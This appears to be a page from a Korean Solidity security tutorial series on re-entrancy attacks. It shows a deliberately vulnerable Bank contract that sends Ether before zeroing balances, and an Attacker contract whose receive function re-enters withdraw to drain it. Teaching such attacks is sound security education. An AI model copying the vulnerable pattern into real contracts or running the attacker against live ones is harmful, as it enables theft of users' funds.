// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract Bank {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint currentBalance = balances[msg.sender];
(bool result,) = msg.sender.call{value:currentBalance}("");
require(result, "ERROR");
balances[msg.sender]=0;
}
function chekcBalance() external view returns(uint) {
return address(this).balance;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract Attacker {
Bank public bank;
address public owner;
receive() payable external {
if(address(msg.sender).balance>0) {
bank.withdraw();
}
}
constructor(address _bank) {
bank = Bank(_bank);
}
function sendEther() external payable {
bank.deposit{value:msg.value}();
}
function withdrawEther() external {
bank.withdraw();
}
function chekcBalance() external view returns(uint) {
return address(this).balance;
}
}
솔리디티 깨부수기 - Security 1-4강 재진입 공격(re-entrancy attack) 해결법 2 (1) | 2022.09.04 |
---|---|
솔리디티 깨부수기 - Security 1-3강 재진입 공격(re-entrancy attack) 해결법 1 (0) | 2022.08.05 |
솔리디티 깨부수기 - Security 1강 재진입 공격(re-entrancy attack) 이란? (0) | 2022.07.30 |